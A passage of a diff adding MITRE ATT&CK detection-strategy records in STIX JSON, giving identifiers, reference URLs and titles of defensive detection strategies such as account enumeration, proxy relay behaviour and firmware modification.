"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--253b632e-c4cb-4207-9b6a-58a35a07d2ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0208", + "external_id": "DET0208" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Endpoint Resource Saturation and Crash Pattern Detection Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3102edb4-6947-4cef-9660-4a35d582a716", + "x-mitre-analytic--b7e4a6de-8ff3-4711-aa83-97533adec211", + "x-mitre-analytic--5f2cc434-5edc-4f36-927a-eb48ee72aa6e", + "x-mitre-analytic--472f81b1-99ba-406a-b2ef-d70b2af5b527", + "x-mitre-analytic--7027622a-7a33-4189-a500-c54eef3467b6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e2f961bd-ddc5-4940-bc62-e2b0bd3405f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0229", + "external_id": "DET0229" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Enumeration of Global Address Lists via Email Account Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cd91348f-296f-4007-a853-6d06d8175210", + "x-mitre-analytic--e0ad2e3d-c109-4af0-ac44-0d4cd45407c2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fdda430c-e4f6-43ce-95d6-0f97253ff6a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0587", + "external_id": "DET0587" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Enumeration of User or Account Information Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e576eaeb-2158-40f9-8edb-c119eac56442", + "x-mitre-analytic--7b0d80c0-807e-46b1-b3f7-fd3e4f3aceba", + "x-mitre-analytic--24aa5ee9-ba7f-4991-b32a-27d40ee2d010", + "x-mitre-analytic--5d7158ce-17f5-4643-bde2-c0a4f2ba0b73", + "x-mitre-analytic--cb177f89-c8a4-4233-a2e4-3fdd02dccba1", + "x-mitre-analytic--c4973f27-c8db-4478-aaf8-eb73580fceec", + "x-mitre-analytic--d85db7b4-5eb1-4781-b92c-a18102a568dc", + "x-mitre-analytic--06e0501e-a87e-452d-9ab5-93ed9a5eade5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a59f4a44-d581-4026-802d-5dc5c0c9f7d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0474", + "external_id": "DET0474" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1fd68bec-86cb-4457-b0cd-56fc724fd578", + "x-mitre-analytic--c24eb4e0-f23a-4d93-b2e0-7f5e7cae44f6", + "x-mitre-analytic--8cd02c43-f3f5-4623-a816-cefe1f586288" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dd8477c8-2aad-4db3-b810-fe0d2f605fa8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0080", + "external_id": "DET0080" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Exploit Public-Facing Application \u2013 multi-signal correlation (request \u2192 error \u2192 post-exploit process/egress)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--17290910-5b25-477a-a0c0-c2661ff2585e", + "x-mitre-analytic--a4ce8f28-db09-4b0d-bb8d-a77ba3cef3c0", + "x-mitre-analytic--ddab6d30-7e37-462e-b183-39c7ceb2b986", + "x-mitre-analytic--a57ad75c-331e-4607-b358-61f4cddb8a5d", + "x-mitre-analytic--17f9487f-711d-4f28-9de8-209ae39d33d2", + "x-mitre-analytic--0668f39a-d319-427f-b29b-160399e6f79a", + "x-mitre-analytic--72298803-0644-477f-be89-01b173202577" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1894c2d7-ce4f-4cfd-8644-decb1e14f0c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0287", + "external_id": "DET0287" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Exploitation for Client Execution \u2013 cross-platform behavior chain (browser/Office/3rd-party apps)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--065f2c96-6903-4cd1-a737-99ecf1fdc73e", + "x-mitre-analytic--b3b58ac5-6b60-4c34-9842-46f5ee517bcb", + "x-mitre-analytic--4aaf0a98-c6a9-4b30-a9d9-3a014473bd0e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ee73dd97-cf1a-4220-a7cf-52d864811bb4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0118", + "external_id": "DET0118" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Exploitation of Remote Services \u2013 multi-platform lateral movement detection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f8c99f4f-f61e-436c-a093-c97969c9b038", + "x-mitre-analytic--70e3066e-6ba3-444b-8e88-dfc3575f2706", + "x-mitre-analytic--17b82342-cc75-4dcd-ad98-f313cd2a2b69", + "x-mitre-analytic--32ef36a3-3112-40a1-84d0-323b7b86cb5b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bfb5cb12-7025-44c3-9a2d-79cfe42ecf54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0325", + "external_id": "DET0325" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "External Proxy Behavior via Outbound Relay to Intermediate Infrastructure", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--99b2296f-dc1c-4b0e-a05a-883a0dbb1535", + "x-mitre-analytic--9a0c2390-f8e9-4f03-ae21-0e1e876fed89", + "x-mitre-analytic--cd7fee55-79e6-42f4-9c68-e653cc8a1d24", + "x-mitre-analytic--0c8a9540-51d7-4ba3-8594-8860b3fa8485", + "x-mitre-analytic--bca44b88-4615-45b8-8fb9-ce934c65c8be" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ab9027fb-3499-474b-845c-50ee113c3be5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0167", + "external_id": "DET0167" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Firmware Modification via Flash Tool or Corrupted Firmware Upload", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a0ecdd41-a051-4ada-9ec1-c29dc0c4ac61", + "x-mitre-analytic--5b1514b3-e35b-4ea8-bcc1-b8e492d6d3cd", + "x-mitre-analytic--df32865a-79b2-4faa-abd4-3ecfa27c8a77", + "x-mitre-analytic--39d675d5-548d-4b35-8a8f-a6605ae3835d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4dfcf95f-0bbb-4ae7-8bd5-91e3e6c51809", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0368", + "external_id": "DET0368" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8ba8d516-486a-4347-9a48-56a312e83897", + "x-mitre-analytic--1c25310b-d8fa-472d-a10e-c327a8fba693", + "x-mitre-analytic--0834f268-5810-4a90-8ef6-279dc0482471" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3efcd3e4-9238-4686-990b-27ac110dccfd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0133", + "external_id": "DET0133" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "IDE Tunneling Detection via Process, File, and Network Behaviors", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e3517ec0-f12a-4f64-8d10-e6bc2677f7d7", + "x-mitre-analytic--a0a0f8e9-7a55-4450-8569-7a0e1c0aac0b", + "x-mitre-analytic--1a93a610-7389-4ea7-a053-e99d35a5477a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f3cc2f0f-c657-4453-90a8-d7c9a59d6e37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0200", + "external_id": "DET0200" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Indirect Command Execution \u2013 Windows utility abuse behavior chain", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9f3aea30-e100-432a-8aa0-959bd7f4e069" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--28630b41-d28f-4414-afc8-23cc9ce8696c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0075", + "external_id": "DET0075" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Internal Proxy Behavior via Lateral Host-to-Host C2 Relay", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ca56c2df-0338-4325-964a-0f775d986277", + "x-mitre-analytic--7f269271-6800-4d20-b9f7-6c38cecac6f0", + "x-mitre-analytic--c62026a7-3332-489f-bb86-30626c1b3cc8", + "x-mitre-analytic--c1fd84b0-953d-463b-a293-3d6aa81e4589", + "x-mitre-analytic--42ba4dcf-0354-4d70-8c29-d0c3a8c90c23" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--acc27d20-8aad-42ce-b928-6cda3c22e51b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0054", + "external_id": "DET0054" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Internal Spearphishing via Trusted Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0bf5b548-50d0-4e73-bb3c-413cbdfafd97", + "x-mitre-analytic--b5b53b9d-f72b-4cd5-946b-d1ddfdad3c0f", + "x-mitre-analytic--3533fba3-e80d-4ad0-be45-62460b28ad7c", + "x-mitre-analytic--1e2211b9-1730-4645-89f6-11259b35e0a4", + "x-mitre-analytic--5e3f407f-192b-4e6f-aab0-e0682da3a4a9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c8b4a2e4-386f-45b3-b32a-8ca4113e5592", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0082", + "external_id": "DET0082" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Internal Website and System Content Defacement via UI or Messaging Modifications", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--78c505c6-25a1-4cc5-b44a-0574aa019f01", + "x-mitre-analytic--8ba0c3e2-9544-47d1-9738-757c35dc19fa", + "x-mitre-analytic--83d3222d-6a35-401d-95b5-a09f0eac2201", + "x-mitre-analytic--c024ed9a-02bf-436d-93f5-444e45124e2f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fbf8f0b2-3587-45c3-be8d-d495384075be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0031", + "external_id": "DET0031" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Invalid Code Signature Execution Detection via Metadata and Behavioral Context", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bf6b3f42-a7a5-4e6d-840a-e892aa74916c", + "x-mitre-analytic--35d9b6e6-aed8-4e9e-b6ee-e683d9c17fd0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c265ea42-9c5a-41f0-9627-d7ac0063ec98", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0390", + "external_id": "DET0390" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Linux Detection Strategy for T1547.013 - XDG Autostart Entries", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7bd7f602-0f85-4e96-bd40-ae4a6f490b32" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6034b1c9-84df-4349-b34f-957ad8ec34d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0258", + "external_id": "DET0258" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Linux Python Startup Hook Persistence via .pth and Customize Files (T1546.018)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e32ce63a-7c82-4115-8c50-e43113562132" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--21ad7ddc-77f6-422b-8e0c-c82e184e0ad0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0303", + "external_id": "DET0303" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Local Account Enumeration Across Host Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6ffbdad6-3d60-452b-9e04-a8292d0125e9", + "x-mitre-analytic--7b87b63c-0936-48b5-8017-47bf5561e6f9", + "x-mitre-analytic--be680af0-8d5f-482c-9042-f5d4921e65f8", + "x-mitre-analytic--d2bca034-2f97-4c64-ac30-e75d24886be7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8c3d7757-f3ab-4c1d-95e1-f712cdecd5a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0188", + "external_id": "DET0188" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Local Storage Discovery via Drive Enumeration and Filesystem Probing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9ffd3332-fcc0-440d-b717-ef98e140c543", + "x-mitre-analytic--1a7052d7-84f1-4116-bdb1-49bbe8709e3d", + "x-mitre-analytic--a98fc9c5-9c4c-47c5-a773-d68b523c7304", + "x-mitre-analytic--478e6298-d012-4337-b2ed-0f8d4909ee05" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--16462629-5b36-4bb6-a565-de4df01f75d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0292", + "external_id": "DET0292" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Masquerading via Space After Filename - Behavioral Detection Strategy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--778e2c18-2b26-4dd4-b4b2-3f8310d57a07", + "x-mitre-analytic--773188c7-6191-4ba4-ad39-b67ed8578dd9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dbaaa57a-ef28-44c0-bc56-25bc20dc8f28", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0285", + "external_id": "DET0285" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0f94823c-ac95-48d8-9716-58f59d39974c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--04cbfa17-64a5-454d-8734-cead02ba5c43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0530", + "external_id": "DET0530" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Event Detection for SMB Admin Share Lateral Movement", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1a18402e-efb1-49c7-8615-dc907f838320" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--be288974-9b74-41c1-8c43-66aef169255a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0540", + "external_id": "DET0540" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Multi-Platform Behavioral Detection for Compute Hijacking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--92157361-c2f8-45e6-9624-38a3cdb44598", + "x-mitre-analytic--45a34d76-16aa-45ac-9419-ffbc5d2e090d", + "x-mitre-analytic--57595eb2-4d20-4d99-86b3-82064b3566cf", + "x-mitre-analytic--7ac026eb-9a3b-49fe-b7ec-7261cb6d6191", + "x-mitre-analytic--7a5e5aff-8395-4b4e-9072-dd765dae7d19" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": 